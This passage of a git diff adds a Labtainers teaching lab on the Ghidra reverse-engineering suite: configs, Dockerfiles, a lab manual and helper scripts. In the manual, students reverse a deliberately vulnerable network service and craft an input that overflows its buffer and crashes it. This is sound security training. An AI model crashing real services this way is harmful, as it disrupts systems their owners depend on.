+++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/about.txt @@ -0,0 +1 @@ +Introduction to the Ghidra software reverse engineering suite. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/keywords.txt new file mode 100644 index 000000000..7a08637fa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/keywords.txt @@ -0,0 +1,3 @@ +ghidra +disassembler +vulnerability diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/parameter.config new file mode 100644 index 000000000..56ea1ad23 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/parameter.config @@ -0,0 +1,9 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + +egg_value : RAND_REPLACE : ghidra:.local/bin/fixlocal.sh : EGG_VALUE : 0x21 : 0x2f +egg_value2 : RAND_REPLACE : server:.local/bin/fixlocal.sh : EGG_VALUE : 0x21 : 0x2f +egg_value3 : RAND_REPLACE : ghidra:.local/bin/fixlocal.sh : PORT_VALUE : 0x89 : 0xa9 +egg_value4 : RAND_REPLACE : server:.local/bin/fixlocal.sh : PORT_VALUE : 0x89 : 0xa9 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/start.config new file mode 100644 index 000000000..3b5c94904 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/config/start.config @@ -0,0 +1,45 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED ghidra_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# + NETWORK LAN + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER ghidra + USER ubuntu + SCRIPT NONE + X11 YES + TERMINALS 2 + LAN 172.25.0.3 +CONTAINER server + USER ubuntu + SCRIPT NONE + X11 YES + TERMINALS -1 + LAN 172.25.0.2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/dockerfiles/Dockerfile.ghidra.ghidra.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/dockerfiles/Dockerfile.ghidra.ghidra.student new file mode 100644 index 000000000..7eaaabcc8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/dockerfiles/Dockerfile.ghidra.ghidra.student @@ -0,0 +1,66 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template for CentOS +# +# +ARG registry +FROM $registry/labtainer.ghidra2 +#FROM labtainer.ghidra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/yum-source.sh +# +# put package installation here +## +RUN yum install -y compat-libstdc++-296.i686 compat-libstdc++-33.i686 + +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable rc-local +CMD ["/usr/sbin/init"] +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/dockerfiles/Dockerfile.ghidra.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/dockerfiles/Dockerfile.ghidra.server.student new file mode 100644 index 000000000..961ccb668 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/dockerfiles/Dockerfile.ghidra.server.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable cadet +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/Makefile new file mode 100644 index 000000000..f6061db77 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/Makefile @@ -0,0 +1,7 @@ +ghidra.pdf: ghidra.tex header.tex + pdflatex -jobname=ghidra ghidra + pdflatex -jobname=ghidra ghidra + +clean: + rm -fr auto + rm -f *.aux *.log *.pdf *.dvi *.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/ghidra.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/ghidra.pdf new file mode 100644 index 000000000..56d283ce6 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/ghidra.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/ghidra.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/ghidra.tex new file mode 100644 index 000000000..67d1698f7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/ghidra.tex @@ -0,0 +1,101 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Ghidra Introduction} +\vspace{0.1in}\\ +\end{center} + + +\section{Overview} +This lab introduces the Ghidra software reverse engineering suite \url{ghidra-sre.org}. +You will use Ghidra to analyze a binary executable to determine some of its properties. + +\subsection {Background} +The student is expect to have some background in low level programming and basic networking. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer ghidra +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +\section{Network Configuration} +The lab includes two computers, one of which is a network server that is +only visible via the network, i.e., it has no terminal. The visible computer, +name {\tt ghidra} contains the Ghidra tool suite and a copy of the service that +is running on the server. You have two terminal windows to this computer. Use the +{\tt moreterm.py} command to get more. + +The server IP address is 172.25.0.2. Use ping to confirm a connection: +\begin{verbatim} +ping 172.25.0.2 +\end{verbatim} + +\section{Lab Tasks} +\subsection{Context} +A copy of the software service is on the {\tt ghidra} computer in your home directory +in a file named {\tt cadet01}\footnote{This program originated in DARPA Cyber Grand Challenge +as the simple example of a vulnerable network service.}. +That program is running on the server. Your goals are to communicate with the service; cause +it to display an ``easter egg''; and then crash the program. You will use Ghidra to analyze the +{\tt cadet01} program to achieve these goals. + +\subsection{Start Ghidra} +Ghidra is pre-installed on your computer. Start it by running {\tt ./ghidra} from your home +directory. After accepting the license terms, you will see two windows. One of those is online help. +Use that to familiarize yourself with the tool. + +\subsubsection{Create a project and import cadet01} +Use the Ghidra main window {\tt File / New project} menu item to create a new project. Then use +{\tt File / Import file} to import the {\tt cadet01} program. After the {\tt cadet01} program appears +int the {\tt Active Project} window, double click on it. When prompted to analyze it, select {\tt Yes}, +and accept the default Analyzers. + +You should then see a new window titled {\tt CodeBrowser}... On the left edge middle window pane, titled +{\tt SymbolTree}, expand the item named {\tt Functions}. View that list, it is the set of functions that Ghidra +has identified within the executable. Find the {\tt main} function and select it. Note that the large middle pane +now contains the disassembled listing of the main function, and the right-most pane contains a decompiled listing of +pseudo-code resulting from the Ghidra analysis. + +Explore the program by looking at what functions are called by main, and what functions are called by those functions. + +\subsection{Find the service's network port} +Look through the {\tt cadet01} functions to find the port number that is used when binding to the network socket. +Once you have found the port number, use it to communicate with the service. For example, use the {\tt netcat} program: +\begin{verbatim} + echo "Hi" | nc 172.25.0.2 +\end{verbatim} +\noindent where {\tt port number} is what you found. If you are successful you should see a reply from the service. + +\subsection{Find the Easter egg} +A particular input to the service will cause it to display an Easter egg. Use Ghidra to identify the required input. +Use that knowldege to send the service a string that will cause the Easter egg to display. + +\subsection{Crash the service} +Review how the {cadet01} service handles input read from the network. Find the buffer variable into which the service receives +network data and rename it to "buffer" -- do this in functions that reference the variable. Make note of the buffer size. +Also identify the variable that +constrains the quantity of bytes that will be read into the buffer. Give it label of {\tt byte\_count}. + +Finally, based on what you found above, find an input that will cause the service to crash. +You will know it has crashed if {\tt netcat} displays a ``Connection reset by peer'' message. + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\copyrightnotice + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/header.tex new file mode 100644 index 000000000..81b7b2f3d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\usepackage{bookmark} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under sponsorship from + the DoD CySP program. This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/read_first.txt new file mode 100644 index 000000000..4c07df52f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/ghidra.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_bin/fixlocal.sh new file mode 100755 index 000000000..fea48755c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_bin/fixlocal.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" +/usr/bin/setbyte /home/ubuntu/cadet01 0xa72 EGG_VALUE +/usr/bin/setbyte /home/ubuntu/cadet01 0x696 PORT_VALUE diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_bin/treataslocal new file mode 100644 index 000000000..e0ff787b6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_bin/treataslocal @@ -0,0 +1 @@ +nc diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_system/usr/bin/setbyte b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_system/usr/bin/setbyte new file mode 100755 index 000000000..aa141ebf2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/_system/usr/bin/setbyte @@ -0,0 +1,12 @@ +#!/usr/bin/env python +import sys + +fileName = sys.argv[1] +offset = int(sys.argv[2], 16) +byte = int(sys.argv[3], 16) + +b = bytes([byte])[0] +with open(fileName, "r+b") as fh: + fh.seek(offset) + fh.write(b) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/cadet01 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/cadet01 new file mode 100755 index 000000000..9e3efeae1 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/cadet01 differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/ghidra b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/ghidra new file mode 100755 index 000000000..68f2aab4b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/ghidra/ghidra @@ -0,0 +1,2 @@ +#!/bin/bash +/ghidra_10.1.2_PUBLIC/ghidraRun diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ghidra/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done 